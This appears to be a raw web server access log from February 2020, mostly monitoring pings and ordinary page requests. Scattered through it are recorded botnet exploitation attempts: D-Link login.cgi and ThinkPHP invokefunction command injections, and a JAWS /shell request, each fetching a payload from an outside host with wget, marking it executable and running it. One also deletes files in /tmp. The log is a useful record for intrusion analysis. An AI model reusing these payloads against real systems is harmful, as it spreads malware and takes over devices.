27.216.245.215 - - [19/Feb/2020:16:35:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [19/Feb/2020:16:35:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:37:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:38:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:39:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:43:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.5.225.10 - - [19/Feb/2020:16:44:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:16:44:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:45:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.249.202.218 - - [19/Feb/2020:16:47:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:16:47:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:48:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:49:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:51:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:52:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.225.220.60 - - [19/Feb/2020:16:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:16:53:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.221.83.141 - - [19/Feb/2020:16:54:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:16:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [19/Feb/2020:16:54:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
64.227.55.76 - - [19/Feb/2020:16:55:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:16:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:57:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:58:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.234.132.55 - - [19/Feb/2020:16:59:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:16:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.31.163.237 - - [19/Feb/2020:17:00:19 +0100] "POST /images.php HTTP/1.1" 404 315 "-" "curl/7.58.0"
212.91.246.72 - - [19/Feb/2020:17:00:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:01:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:02:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:03:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:04:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:05:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:06:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.231.239.167 - - [19/Feb/2020:17:07:44 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [19/Feb/2020:17:07:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [19/Feb/2020:17:08:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [19/Feb/2020:17:08:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [19/Feb/2020:17:08:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [19/Feb/2020:17:08:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:17:08:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [19/Feb/2020:17:08:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:17:09:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:10:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:11:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:12:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:13:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:14:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:15:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:16:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:17:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.163.249.202 - - [19/Feb/2020:17:18:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:17:18:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:19:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.15.220.158 - - [19/Feb/2020:17:19:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
89.133.198.185 - - [19/Feb/2020:17:20:29 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
212.91.246.72 - - [19/Feb/2020:17:20:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:21:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:22:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:23:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:24:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
156.238.167.18 - - [19/Feb/2020:17:25:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:17:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:26:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:27:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:28:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:29:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
156.238.167.18 - - [19/Feb/2020:17:30:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:17:30:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:31:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.80.201.18 - - [19/Feb/2020:17:31:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:17:32:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:33:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:34:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.167.162.158 - - [19/Feb/2020:17:35:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:17:35:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:37:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.80.116.100 - - [19/Feb/2020:17:38:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
51.15.191.231 - - [19/Feb/2020:17:38:36 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Barkrowler/0.9 (+https://babbar.tech/crawler)"
212.91.246.72 - - [19/Feb/2020:17:38:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.15.191.231 - - [19/Feb/2020:17:38:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Barkrowler/0.9 (+https://babbar.tech/crawler)"
212.91.246.72 - - [19/Feb/2020:17:39:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.188.98.90 - - [19/Feb/2020:17:40:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [19/Feb/2020:17:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.4 - - [19/Feb/2020:17:40:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:17:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:43:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:44:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:45:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:47:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [19/Feb/2020:17:48:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [19/Feb/2020:17:48:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:17:48:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [19/Feb/2020:17:48:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [19/Feb/2020:17:49:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [19/Feb/2020:17:49:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:17:49:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:51:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.224.255.72 - - [19/Feb/2020:17:52:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:17:52:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.143.158.82 - - [19/Feb/2020:17:53:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:17:53:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.7.27.90 - - [19/Feb/2020:17:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:17:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.173.17.154 - - [19/Feb/2020:17:54:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:17:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [19/Feb/2020:17:56:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [19/Feb/2020:17:56:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [19/Feb/2020:17:56:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [19/Feb/2020:17:56:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:17:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [19/Feb/2020:17:56:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:17:57:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:58:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:17:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.99.191.55 - - [19/Feb/2020:18:00:33 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:18:00:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:01:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:02:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.25.88.174 - - [19/Feb/2020:18:03:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:18:03:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:04:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:05:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:06:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:07:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:08:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:09:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:10:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.190.254.34 - - [19/Feb/2020:18:10:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:18:11:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:18:12:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
